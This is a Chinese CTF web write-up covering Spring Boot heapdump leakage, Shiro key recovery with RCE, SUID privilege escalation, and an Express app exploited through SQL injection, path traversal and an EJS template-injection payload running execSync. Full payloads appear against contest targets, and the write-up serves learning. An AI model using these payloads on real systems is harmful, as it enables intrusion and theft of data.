第五届日月盾杯线下赛 web wp

news/2025/11/5 20:37:55/文章来源:https://www.cnblogs.com/Eckes/p/19194359

记一次校赛ctf的web题解。。其实我打的时候一道都没做出来(目移)

签个到吧!


签到题也没能做出来的我属实是fw啊。。orz
进入题目后会跳转到一个公网上,有重定向,于是使用curl -v来查看原始响应,即可获得flag

image

是的就是这样我都没做出来orz,因为我甚至不知道有curl -v这个功能,curl了一下什么都没发现我就没招了,去公网上玩了半天(?),现在一想其实burp抓个包也行啊。。是我不细心了😭




信息搜集


进入题目,是一个登陆界面。查看源码,发现关于Thymeleaf的模板的信息,于是就去找关于这个模板的信息,发现Thymeleaf有模板注入漏洞。于是我看了挺久这个Thymeleaf模板注入的内容,最后发现实现不了,甚至是毫无关系()。

想尝试看报错信息,但是url输个不存在的路径又给我重定向会登录界面了(挠头)。不过根据我看的关于Thymeleaf的内容,用这个的一般是Springboot项目,所以这个网页大概是用Springboot的框架(后来我才发现随便输的路径里加分号之类的符号就可以让它报错,根据报错信息Whitelabel Error Page可以知道是Springboot框架)。

使用SpringBoot Scan工具进行扫描:python SpringBoot-Scan.py -u <ip>,可以发现目标URL存在SpringBoot敏感信息泄露

image


访问/actuator,可以找到泄露的dump文件,把它丢给claude分析了,可以从里面找到登录密码:

Heapdump 文件(堆转储文件)是 Java 虚拟机(JVM)在运行时生成的内存快照,记录了 JVM 中堆内存的状态,包括对象、类、线程栈和本地变量等信息。


image

image


登录进入提示是shiro框架,需要找密钥。

image


没有其他思路找shiro密钥了,只能回到heapdump文件中寻找。ai分析不出什么了,应该不是直接明文储存的?只能自己深入分析了。用java自带的jvisualvm.exe打开,在类查找org.apache.shiro.web.mgt.CookieRememberMeManager找到shiro的实例类,里面的CipherKey就是我们找的密钥。

image


写代码把它转换为字符串,运行得到密钥:zFWsRmefIcOKsjDW6d6fiQ==

import base64
import structprint(base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', -52,85,-84,70,103,-97,33,-61,-118,-78,48,-42,-23,-34,-97,-119)))


终于拿到shiro密钥了,马上就能命令执行拿到flag了😋。使用shiro漏洞的工具填入密钥,但是竟然检测不出利用链??
image


把AES GCM 勾上,再次检测利用链,终于成功进行命令执行。(至于为什么要勾上我也不懂)
在根目录发现flag.txt,cat查看却查看不了,怀疑权限不够。ls / -al查看权限,确实如此

image


那么现在就是想方法提权了

几种常用的提权方法:sudo提权、suid提权、定时任务提权、内核漏洞提权、/etc/passwd提权


尝试suid提权,使用`find / -perm /4000 -type f`命令查看有哪些命令具有suid权限

image


很明显我们可以使用find命令进行suid提权。执行find /flag.txt -exec cat {} \,成功读取flag。

题后话:这道题感觉出的挺好的,当时做的时候卡在了找shiro密钥,因为不是直接储存在dump文件里的我不知道怎么找。。但其实网上搜heapdump泄露shiro密钥也能搜出不少教程,是我没做好信息搜集了orz。。。。现在感觉找到了也不一定做的出来,suid提权之类的我还是没学会啊。。。😭



普普通通的登录页面


(羊城杯原题,反正我羊城杯的时候也没做出来所以无所谓了(),正好顺便一起复现了😋)


进入题目,依旧是一个登录框。存在sql注入漏洞,但是好像没什么用?随便注册个号进去提示权限不够,应该是要想办法登录管理员,是弱口令username和password(可恶啊羊城杯的时候我根本没猜出来😡)


进入管理员界面,可以发现有一个文件上传和一个文件下载功能,下载功能有一个可以下载的readme.md,里面没有有用的内容。上传功能没写完,访问/upload是报错信息


查看源代码,可以看到存在download路由,且通过filename参数指定下载的文件

image


根据/download页面的信息可以知道app.js的位置为:/app/app.js,尝试文件包含获取app.js:?filename=/app/app.js,却回显WAF,应该是过滤了/;尝试用多个../回到根目录,也还是WAF。。我们现在大概是在app目录下的某个目录中,那么是否可以返回上级目录到app,再访问其中的app.js?,尝试?filename=../app.js,成功获取到源码:

const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');const app = express();
const db = new sqlite3.Database('./db.sqlite'); //数据库路径/*
FLAG in /flag_C404.txt
*/app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({secret: 'welcometoC404',resave: false,saveUninitialized: true,cookie: { secure: false }
}));app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs'); //使用ejs模板const checkPermission = (req, res, next) => {if (req.path === '/login' || req.path === '/register') return next();if (!req.session.user) return res.redirect('/login');if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');next();
};app.use(checkPermission);app.get('/', (req, res) => {fs.readdir(path.join(__dirname, 'documents'), (err, files) => {if (err) {console.error('读取目录时发生错误:', err);return res.status(500).send('目录读取失败');}req.session.files = files;res.render('files', { files, user: req.session.user });  //渲染views下的files.ejs文件});
});app.get('/login', (req, res) => {res.render('login');
});app.get('/register', (req, res) => {res.render('register');
});app.get('/upload', (req, res) => {if (!req.session.user) return res.redirect('/login');res.render('upload', { user: req.session.user }); //渲染views下的upload.ejs文件//todoing
});app.get('/logout', (req, res) => {req.session.destroy(err => {if (err) {console.error('退出时发生错误:', err);return res.status(500).send('退出失败');}res.redirect('/login');});
});app.post('/login', async (req, res) => {const username = req.body.username;const password = req.body.password;const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;db.get(sql,async (err, user) => {if (!user) {return res.status(401).send('账号密码出错!!');}req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };res.redirect('/');});
});app.post('/register', (req, res) => {const { username, password, confirmPassword } = req.body;if (password !== confirmPassword) {return res.status(400).send('两次输入的密码不一致');}db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {if (err) {console.error('注册失败:', err);return res.status(500).send('注册失败,用户名可能已存在');}res.redirect('/login');});
}); //可以通过db.exec执行sql命令app.get('/download', (req, res) => {if (!req.session.user) return res.redirect('/login');const filename = req.query.filename;if (filename.startsWith('/')||filename.startsWith('./')) {return res.status(400).send('WAF');}if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {return res.status(400).send('WAF');}if (!filename || path.isAbsolute(filename) ) {return res.status(400).send('无效文件名');}const filePath = path.join(__dirname, 'documents', filename);if (fs.existsSync(filePath)) {res.download(filePath);} else {res.status(404).send('文件不存在');}
});const PORT = 80;
app.listen(PORT, () => {console.log(`Server running on http://localhost:${PORT}`);
});

先尝试在/register执行sql语句向数据库插入数据:

  username: 1password: 1'); INSERT INTO users (username, password) VALUES ('hack', '123'); --confirmPassword: 1'); INSERT INTO users (username, password) VALUES ('hack', '123'); --

管理员登进去在download下载数据库,找个在线查看sqlite的工具,可以看到我们数据插入成功:

image


将hacker的is_admin UPDATE为1,使其具有管理员权限

username: 2
password: 2'); UPDATE users SET is_admin = 1 WHERE username = 'hack';--
confirmPassword: 2'); UPDATE users SET is_admin = 1 WHERE username = 'hack';--

image


如果把ejs恶意模板作为username写入,进入系统会把flag内容回显出来变成“欢迎,(flag内容)”吗?但是不行,不解析,直接返回了。


(这里我还尝试了是否通过sql使用readfile或者writefile来获取flag,但都不行)

既然/uplaod下面的res.render('upload', { user: req.session.user })可以渲染views下的upload.ejs文件,用sql语句创建写了ejs恶意代码的文件到/upload下:

password内写入: admin'); ATTACH '/app/views/upload.ejs' AS mal; CREATE TABLE mal.c(d TEXT); INSERT INTO mal.c VALUES ('<%= global.process.mainModule.require("child_process").execSync("cat /flag_C404.txt") %>'); --
在/upload即可查看到flag:
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/957121.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

异常课后作业2

Java项目中常用异常处理场景与实践总结 在Java项目开发中,异常处理是保障程序健壮性、可维护性的关键环节。合理的异常处理不仅能避免程序崩溃,还能为问题排查、用户体验优化提供有力支撑。本文将围绕Java项目中常见…

日总结 22

nvm(Node Version Manager)是一款轻量实用的 Node.js 版本管理工具,支持在同一设备上安装、卸载多个不同版本的 Node.js,可快速切换版本以适配不同项目的依赖需求,无需手动配置安装路径,能有效解决多项目开发中 …

Nlog配置文件nlog.config (.net core 6)

<?xml version="1.0" encoding="utf-8" ?> <nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance&quo…

重组抗体:从 “天然提取” 到 “基因定制”,抗体技术如何改写生物医药格局?

提到 “抗体”,你可能会想到疫苗接种后身体产生的 “免疫卫士”—— 但在科研、诊断和治疗中,我们需要的往往是 “精准可控” 的抗体。传统抗体(如多克隆抗体、杂交瘤单克隆抗体)要么特异性差、要么生产不稳定,而…

2025年主流数据分类分级工具全面对比与选型指南

2025年主流数据分类分级工具全面对比与选型指南在数据安全法规日益严格的2025年,企业选择合适的数据分类分级工具已成为合规运营和风险管控的核心环节。本文从实际选型需求出发,通过六大关键维度深度对比市场主流产品…

Http协议解析

一、概述 超文本传输协议(Hyper Text Transfer Protocol,简称HTTP)是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是万维网的数据通信的基础。 1.1 发展历史起源:HTTP的发展是由蒂姆伯纳斯-李于1989…

大模型应用开发技术路线(下):智能代理与多模态应用开发指南

本文系统阐述智能代理与多模态应用的开发技术,从架构设计到实战落地,涵盖智能代理的四大设计模式与四步开发法,多模态应用的模型选择与模态融合策略,并总结五大常见陷阱及解决方案,助力开发者构建自主可控、自然高…

NOIP 2024 T4 树上查询 小结

这个也是写给自己看的。 首先可以看每一种答案取到的范围。 然后就是两个区间求交的长度会大于等于 k。 这个比较好求。 稍微有点难的部分就是他的答案区间被我的目标区间包含。 这个我一开始在考场上写的是 cdq,然后…

高性能计算-CUDA-mma PTX 指令行为分析

1. 介绍:PTX 指令集中 WMMA 矩阵计算从共享内存加载数据到 fragment 片段使用的封装API是 load__matrix_sync,其底层 PTX指令与mma 一致,并且 fragment 布局一致。本文介绍底层 ldamatrix、stmatrix 指令的行为,并…

NOIP 2022 T3 建造军营 小结

写给自己看的。 这个题比 T2 简单多了。 就是你显然考虑缩点。 缩完之后就变成了一棵树。 那么对于这棵树你就可以进行 dp 了。 设 \(f_{i,0/1}\) 表示 \(i\) 子树内是否有军营。 转移还是比较好写的。 就是要预处理出…

英语_阅读_Digital classroom_待读

Education has undergone significant changes over the past century. 教育在过去的一个世纪中经历了重大的变革。 In the past, traditional education was the norm, with students sitting in classrooms and lear…

2025.11.5——1绿1蓝

普及+/提高 P12501 「ROI 2025 Day1」奥林匹克楼梯 赛时T1,单调队列优化DP 提高+/省选- P11795 [JOI 2016 Final] 铁路票价 / Train Fare 图论的问题,我的舒适区。

PhotoShop网页版(在线ps)在快速修复老照片,在线修旧如新

每个人的家里可能都藏着几张泛黄或折痕斑驳的老照片,这些照片承载着我们宝贵的回忆。然而,随着时间流逝,照片 inevitable 地被岁月侵蚀,有的已经模糊不清。如何让这些珍贵的旧照片焕发新生?如果你不会复杂的修图技…

CSP - S 2025 游记

总分:100+64+0+12=176 在 Print 之前 这篇游记考虑了很久,在成绩出来前,都不敢说自己能拿多少。 本来考完就快崩了,晕了两天,一直以为会挂到 128。 Day 0 无所事事。 因为要办考点,中午就放了,回家看了会儿知乎…

Revive Adserver SQL注入漏洞分析:关键词参数引发的数据库安全风险

本文详细分析了Revive Adserver v6.0.0中存在的SQL注入漏洞,该漏洞位于admin-search.php文件的关键词参数处理中,攻击者可通过错误注入和时间盲注技术获取完整数据库访问权限,文章包含技术分析、复现步骤和修复方案…

2025年插座厂家权威推荐榜:耳机插座,DC插座,防水耳机插座,专业品质与安全性能深度解析

2025年插座厂家权威推荐榜:耳机插座,DC插座,防水耳机插座,专业品质与安全性能深度解析 随着智能终端设备的快速普及和物联网技术的深入应用,插座作为电子设备中不可或缺的连接组件,其技术标准与性能要求正在经历…

2025 年 11 月硅锰合金厂家推荐排行榜,硅锰合金颗粒,硅锰合金粉,高碳硅锰合金,低碳硅锰合金公司推荐

2025 年 11 月硅锰合金厂家推荐排行榜:硅锰合金颗粒、硅锰合金粉、高碳硅锰合金、低碳硅锰合金公司推荐 一、行业背景与发展现状 硅锰合金作为钢铁冶炼中不可或缺的脱氧剂和合金添加剂,在冶金工业中占据重要地位。随…

2025年轻触开关厂家推荐排行榜,检测开关,按键开关,微动开关,防水开关源头厂家最新权威精选

2025年轻触开关厂家推荐排行榜,检测开关,按键开关,微动开关,防水开关源头厂家最新权威精选 在工业自动化、消费电子和智能家居快速发展的今天,开关作为基础电子元器件的重要性日益凸显。从家电控制到工业设备,从…

2025年连接器厂家推荐排行榜,USB连接器,电池连接器,TYPE-C连接器,防水TYPE-C连接器,防水USB连接器公司精选

2025年连接器厂家推荐排行榜:USB连接器、电池连接器、TYPE-C连接器、防水TYPE-C连接器、防水USB连接器公司精选 随着电子设备向智能化、便携化、多功能化方向发展,连接器作为电子设备中不可或缺的关键组件,其技术要…

[KaibaMath]1019 关于收敛数列拉链定理的证明

数列收敛于a的充要条件是该数列的两个互补子列(通常取奇数项子列和偶数项子列)都收敛于同一个极限a. 该定理被称为拉链定理,下面给出相应的证明.